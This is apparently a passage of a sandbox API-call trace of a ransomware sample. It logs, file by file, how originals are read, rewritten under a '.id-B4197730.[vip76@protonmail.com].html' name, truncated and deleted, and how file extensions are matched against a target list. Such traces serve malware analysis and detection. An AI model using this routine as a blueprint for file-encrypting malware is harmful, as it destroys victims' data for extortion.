	[0061.344] ReadFile (in: hFile=0x2e4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.344] WriteFile (in: hFile=0x2f4, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.344] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.344] CloseHandle (hObject=0x2f4) returned 1
	[0061.348] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.348] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.349] CloseHandle (hObject=0x2e4) returned 1
	[0061.349] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.350] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1
	[0061.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.350] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.350] lstrlenW (lpString=".doc") returned 4
	[0061.350] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.350] lstrlenW (lpString=".docx") returned 5
	[0061.350] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.350] lstrlenW (lpString=".pdf") returned 4
	[0061.350] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.350] lstrlenW (lpString=".xls") returned 4
	[0061.350] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.350] lstrlenW (lpString=".xlsx") returned 5
	[0061.351] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.351] lstrlenW (lpString=".ppt") returned 4
	[0061.351] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString=".zip") returned 4
	[0061.351] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.351] lstrlenW (lpString=".rar") returned 4
	[0061.351] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString=".bz2") returned 4
	[0061.351] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString=".7z") returned 3
	[0061.351] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString=".dbf") returned 4
	[0061.351] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString=".1cd") returned 4
	[0061.351] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString=".jpg") returned 4
	[0061.351] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.351] lstrlenW (lpString=".doc") returned 4
	[0061.352] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString=".docx") returned 5
	[0061.352] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.352] lstrlenW (lpString=".pdf") returned 4
	[0061.352] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString=".xls") returned 4
	[0061.352] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.352] lstrlenW (lpString=".xlsx") returned 5
	[0061.352] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.352] lstrlenW (lpString=".ppt") returned 4
	[0061.352] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.352] lstrlenW (lpString=".zip") returned 4
	[0061.352] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.352] lstrlenW (lpString=".rar") returned 4
	[0061.352] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString=".bz2") returned 4
	[0061.352] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString=".7z") returned 3
	[0061.352] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.352] lstrlenW (lpString=".dbf") returned 4
	[0061.352] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.352] lstrlenW (lpString=".1cd") returned 4
	[0061.352] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0061.353] lstrlenW (lpString=".jpg") returned 4
	[0061.353] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.353] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.353] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.353] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=82962) returned 1
	[0061.353] CloseHandle (hObject=0x2e4) returned 1
	[0061.353] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0061.354] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.354] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.354] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.354] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.354] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.354] GetLastError () returned 0x0
	[0061.354] ReadFile (in: hFile=0x2e4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x14412, lpOverlapped=0x0) returned 1
	[0061.359] WriteFile (in: hFile=0x2f4, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x14420, lpOverlapped=0x0) returned 1
	[0061.362] ReadFile (in: hFile=0x2e4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.362] WriteFile (in: hFile=0x2f4, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.362] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.363] CloseHandle (hObject=0x2f4) returned 1
	[0061.372] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.372] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.373] CloseHandle (hObject=0x2e4) returned 1
	[0061.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.374] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1
	[0061.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.374] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.374] lstrlenW (lpString=".doc") returned 4
	[0061.374] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.374] lstrlenW (lpString=".docx") returned 5
	[0061.374] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.374] lstrlenW (lpString=".pdf") returned 4
	[0061.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.374] lstrlenW (lpString=".xls") returned 4
	[0061.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.374] lstrlenW (lpString=".xlsx") returned 5
	[0061.374] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.375] lstrlenW (lpString=".ppt") returned 4
	[0061.375] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString=".zip") returned 4
	[0061.375] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.375] lstrlenW (lpString=".rar") returned 4
	[0061.375] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString=".bz2") returned 4
	[0061.375] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString=".7z") returned 3
	[0061.375] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString=".dbf") returned 4
	[0061.375] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString=".1cd") returned 4
	[0061.375] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString=".jpg") returned 4
	[0061.375] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.375] lstrlenW (lpString=".doc") returned 4
	[0061.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString=".docx") returned 5
	[0061.376] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.376] lstrlenW (lpString=".pdf") returned 4
	[0061.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString=".xls") returned 4
	[0061.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString=".xlsx") returned 5
	[0061.376] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.376] lstrlenW (lpString=".ppt") returned 4
	[0061.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.376] lstrlenW (lpString=".zip") returned 4
	[0061.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.376] lstrlenW (lpString=".rar") returned 4
	[0061.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString=".bz2") returned 4
	[0061.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString=".7z") returned 3
	[0061.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.376] lstrlenW (lpString=".dbf") returned 4
	[0061.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.376] lstrlenW (lpString=".1cd") returned 4
	[0061.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0061.377] lstrlenW (lpString=".jpg") returned 4
	[0061.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.377] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.377] lstrlenW (lpString="eula.rtf") returned 8
	[0061.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.056] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=6851) returned 1
	[0062.056] CloseHandle (hObject=0x328) returned 1
	[0062.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0062.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.056] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.056] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.057] GetLastError () returned 0x0
	[0062.057] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1ac3, lpOverlapped=0x0) returned 1
	[0062.058] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0062.059] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.059] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.059] SetEndOfFile (hFile=0x334) returned 1
	[0062.060] CloseHandle (hObject=0x334) returned 1
	[0062.060] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.060] SetEndOfFile (hFile=0x328) returned 1
	[0062.061] CloseHandle (hObject=0x328) returned 1
	[0062.061] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.062] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1
	[0062.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.062] lstrlenW (lpString=".doc") returned 4
	[0062.062] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.062] lstrlenW (lpString=".docx") returned 5
	[0062.062] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.062] lstrlenW (lpString=".pdf") returned 4
	[0062.062] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.062] lstrlenW (lpString=".xls") returned 4
	[0062.062] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.062] lstrlenW (lpString=".xlsx") returned 5
	[0062.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.062] lstrlenW (lpString=".ppt") returned 4
	[0062.062] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.062] lstrlenW (lpString=".zip") returned 4
	[0062.062] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.062] lstrlenW (lpString=".rar") returned 4
	[0062.062] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.062] lstrlenW (lpString=".bz2") returned 4
	[0062.063] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString=".7z") returned 3
	[0062.063] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString=".dbf") returned 4
	[0062.063] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString=".1cd") returned 4
	[0062.063] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString=".jpg") returned 4
	[0062.063] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString=".doc") returned 4
	[0062.063] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString=".docx") returned 5
	[0062.063] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.063] lstrlenW (lpString=".pdf") returned 4
	[0062.063] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString=".xls") returned 4
	[0062.063] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.063] lstrlenW (lpString=".xlsx") returned 5
	[0062.063] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.063] lstrlenW (lpString=".ppt") returned 4
	[0062.063] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.063] lstrlenW (lpString=".zip") returned 4
	[0062.063] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.063] lstrlenW (lpString=".rar") returned 4
	[0062.063] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.064] lstrlenW (lpString=".bz2") returned 4
	[0062.064] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.064] lstrlenW (lpString=".7z") returned 3
	[0062.064] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.064] lstrlenW (lpString=".dbf") returned 4
	[0062.064] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.064] lstrlenW (lpString=".1cd") returned 4
	[0062.064] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.064] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0062.064] lstrlenW (lpString=".jpg") returned 4
	[0062.064] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.064] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.064] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.065] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=79634) returned 1
	[0062.065] CloseHandle (hObject=0x328) returned 1
	[0062.065] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0062.065] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.065] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.065] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.065] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.065] GetLastError () returned 0x0
	[0062.065] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x13712, lpOverlapped=0x0) returned 1
	[0062.068] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x13720, lpOverlapped=0x0) returned 1
	[0062.072] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.072] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.072] SetEndOfFile (hFile=0x334) returned 1
	[0062.072] CloseHandle (hObject=0x334) returned 1
	[0062.075] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.075] SetEndOfFile (hFile=0x328) returned 1
	[0062.077] CloseHandle (hObject=0x328) returned 1
	[0062.077] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.077] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1
	[0062.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.078] lstrlenW (lpString=".doc") returned 4
	[0062.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString=".docx") returned 5
	[0062.078] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.078] lstrlenW (lpString=".pdf") returned 4
	[0062.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString=".xls") returned 4
	[0062.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString=".xlsx") returned 5
	[0062.078] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.078] lstrlenW (lpString=".ppt") returned 4
	[0062.078] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0062.078] lstrlenW (lpString=".zip") returned 4
	[0062.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.078] lstrlenW (lpString=".rar") returned 4
